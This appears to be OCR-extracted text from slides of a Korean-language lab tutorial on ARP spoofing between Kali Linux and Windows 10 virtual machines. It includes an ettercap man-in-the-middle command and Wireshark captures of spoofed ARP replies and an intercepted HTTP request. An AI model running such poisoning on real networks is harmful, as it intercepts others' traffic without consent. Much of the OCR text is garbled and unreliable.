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Ready for ARP Spoofing
* Desktop or Laptop computer

* VMWare workstation 12

* KALI Linux iso file

* Windows 10 iso file




Sequence of ARP Spoofing

o 1| Ol At IPv4,
HOIEROl 1k
vyt * ETTERCAP

_ 04 24 Ol &4
2 o4 T =t S80I &85




Process of ARP Spoofing

root@kali: ~

OUF) HHE) =221(v) FMEG) HOET) =SZH)

:~# apt-get update =
1 http://mlrrors neusoft edu cn/kali kali-rolling InRelease

Note, selectlng 'fonts- nanum eco' for glob 'fonts-nanum*'

Note, selecting 'fonts-nanum' for glob 'fonts-nanum*'

Note, selecting 'fonts-nanum-gothic-light' for glob 'fonts-nanum*'
Note, selecting 'fonts-nanum-coding' for glob 'fonts-nanum*'
Note, selecting 'fonts-nanum extra' for glob 'fonts-nanum*'

.. cs ...H :

fonts- nanum fonfs nanum codlng fonts nanum-eco fonts-nanum-extra

of Fefd B 19e7fd EIREIEIEIED () B

Scn/kall kali- rollllng/maln amd64 fonts-nanum al

1 20140930 1 [8,694 kB]
EgEs):2 http://mirrors.neusoft.edu.cn/kali kali-rolling/main amd64 fonts-nanum-ec
0 all 1.000-6 [14.0 MB]

Edkg:3 http://mirrors.neusoft.edu.cn/kali kali-rolling/main amd64 fonts-nanum-ex
tra all 20140930-1 [16.9 MB]

FlEl:4 http://mirrors.neusoft.edu.cn/kali kali-rolling/main amd64 fonts-nanum-co

ANdl LIVE



) Debian 8.x 64-bit (2)

Microsoft Windows [Yersion 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C: HsersiiSeolungWoo>:

arp—a
uﬁ;rff ?uiblé)ort‘u:fgé el By, s B Z20¥vy 9~ bIEod~ (2)00:19 w [ kv 0 O~
C: flUsersHSeoJungloo>arp -a Foot@rootis
SR A 19216800140 O g TRUF) BAE) 22IV) FAS) D) SZU(H)
Ko T = T = pag=3 r ry
132.168.59.2 00-50-56-fe-43-e8 &5 =i fcont ig
224.0.0.22 01-00-5e-00-00-16 bkl ethe: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
224.0.0.252 01-00-5e-00-00-fc g5 inet 192.168.59.130 netmask 255.255.255.0 broadcast 192.168.59.255
239.235.255.250 01-00-5e-Tf-ff-fa §7§ inete fego::20c:29ff:feds:429d prefixlen 64 scopeid ex20<link>
255.255,255.255 ff-ff-ff-ff-ff-ff Pk ether 00:0c:29:d4:42:9d txqueuelen 1000 (Ethernet)

. = RX packets 20 bytes 2423 (2.3 KiB)

C: filserstiSeolungtioo> RX errors o dropped 6 overruns o frame o

TX packets 28 bytes 2509 (2.4 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inete ::1 prefixlen 128 scopeid ex10<host)>
loop txqueuelen 1 (Local Loopback)
RX packets 20 bytes 1116 (1.0 KiB)
RX errors o dropped @ overruns @ frame o

v TX packets 20 bytes 1116 (1.0 KiB)
~ TX errors o dropped @ overruns @ carrier ¢ collisions @
t-2

2 12:119

= o M m A = & ABDA 70601 B




D208y 2zlv RIHOZE (2)00:38 & [l kov & W)

root@root: ~

AF) HAE) =27I(v) ZM(ES) HOET) S2YUH)

rooteroot:~# ettercap -T -M arp:remote /192.168.59.2// /192.168.59.131//

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Listening on:
ethe -> 00:0C:29:D4:42:9D
192.168.59.130/255.255.255.0
fegp::20c:29Ff: fed4:429d/64

SSL dissection needs a valid 'redir _command on' script in the etter.conf file

Ettercap might not work correctly. /proc/sys/net/ipve/conf/ethe/use_tempaddr is

not set to 0.
Privileges dropped to EUID 65534 EGID 65534. ..

33 plugins
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

D20z 9av EEOY~ () 00: 39

root@root: ~

HAE) E22((V) ZA(S) EHOE(T) =SLU(H)
42 protocol dissectors
57 ports monitored
20388 mac vendor fingerprint
1766 tcp 0S fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

x !

2 hosts added to the hosts list..

ARP poisoning victims:

GROUP 1 : 192.168.59.2 00:50:56:FE:49:E8
GROUP 2 : 192.168.59.131 00:0C:29:F6:Bo:AE

Starting Unified sniffing. ..

Text only Interface activated. ..
Hit 'h' for inline help

s [l

100.00

%

(]

ko

A1) O~




239.235.255.250 01-00-5e-7f-
209:200:200:285 ik ki h—
CiillserstiSecdungfoo>arp Oa

-

C:tilserstiSeolungiloo>arp —a

0813

0| ;192,168

(4
290
£JJd
"lEE L,

EddsEdd s Edd s Ede

C:tilserstiSeolungiloo>arp -a
ClE{H0] A 192.168
CIEY =a
.1668.59.2
.168.59.130
.168.59.254
| /

'I‘l o

||'_|:| T

i
ff-

-fa
ff

2-3d
Hd

M +Etherneto
File Edit View Go
A ®

mRE

Analyze

Q S :

Statistics

4

Telepheny

EQ*(\Q!I

3

Wireless

Too
1C0

s

Help

I ~ | Expression--

Mo, Time
49149 9.757338
40150 9.757339
43372 11.195430
43373 11.195432
49993 17.338648
49994 17.338677

Source

Vmware_d4:42:
Vmware_d4:42:
Vmware_d4:42:
Vmware_fe:49:
Vmware_d4:42:
Vmware_f6:b0:

9d
9d
9d
e8
9d
ae

Destination

Vmware_fe:
Vmware_f6:
Vmware_fe:
Vmware_d4:
Vmware f6:
Vmware_d4:

49:
bo:
49:
42:
b@:
42:

e8
ae
e8
9d
ae
9d

Protocol
ARP
ARP
ARP
ARP
ARP
ARP

Length Info
60 192.
60 192.

60 Who

60 192.

60 Who

42 192.

168.
168.

has

168.

has

168.

59.130 is at ©0:0c:29:d4:42:9d

* |

59.2 is at 00:0c:29:d4:42:9d (..
192.168.59.2? Tell 192.168.59...

59.2 is at 00:50:56:fe:49:e8

192.168.59.131? Tell 192.168.5..

59.131 is at 00:0c:29:f6:bB:ae

Frame 40149: 60 bytes on wire (436 bits), 60 bytes captured (430 bits) on interface ©

Ethernet II, Src:

Address Resolution Protocol (reply)

Vmware_d4:42:9d (00:0c:29:d4:42:9d), Dst: Vmware_fe:49:e8 (00:50:56:fe:49:e8)

00 50 56 fe 49 e8 00 B¢
08 00 66 04 0B B2 00 Bc
00 50 56 fe 49 e8 cO a8
00 00 60 00 6B 00 00 60

7 wireshark_DA1BIF83-A0EC-4AC5-AF3C-ACS1EBO16658_20170601004259_a04640

29 d4 42 9d 68 06 00 01
29 d4 42 9d c@ a8 3b 83
3b 02 00 00 00 00 00 00
00 00 60 00

Packets: 65035 - Displayed: 6 (0,0%) Profile: Default




{0} Home fL Windows 10 x64
Debian 8.x 64-bit (2)

r{ test - Lycos.com

O lycos.com

LYCOS

o20d v 9z~ @ Wireshark v (2)01:07 Bl »& kov O~
*ethO
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

R E Q « » Q) &« »

;i Expression.. +
Source Destination Protocol Length Info -+
‘ 2 HTTP 468 HTTH
HTTP 468 HTTE
HTTP 4

HTTP

AM #elof| chet 27} SlE LIt HTTP

Frame 221: 462 bytes on wire (3696 bits), 462 bytes captured (3696 bits) on interfaces

Ethernet II, Src: Vmware_f6:b0:ae (00:0c:29:f6:b0:ae), Dst: Vmware_d4:42:9d (00:0c:2¢
Internet Protocol Version 4, Src: 192.168.59.131, Dst: 209.202.251.1
Transmission Control Protocol, Src Port: 51236, Dst Port: 80, Seq: 1, Ack: 1, Len: 4€

Hypertext Tra Protocol
web?q3test&PriglycosTld=kr&keyvol=00ad210b384e0be220a9 HTTP/1.1\r\n
y html, application/xhtml+xml, image/jxr, */*\r\n

e Ivene ler/Nr\n

00 29 f6
80 06 ed

24 0 28 Oc fa

05 47 ¢ 54 2

73 4f 69

6b 26 6b 79 76 6fF 8

30 38 ¢ 30 62 61 384 e0be220a

54 54 2f 3 z 1 od 3 65 9 HTTP/1 .1..Acce B

@ 7 wireshark_eth0_20170601010631_ebxdyu Packets: 794 - Displayed: 27 (3.4%) Profile: Default

o)

45 00

3 dl ca
50 18
2 3f 71
73 54
61

~ ® @
©~® Wwo

[oNe el
L a0
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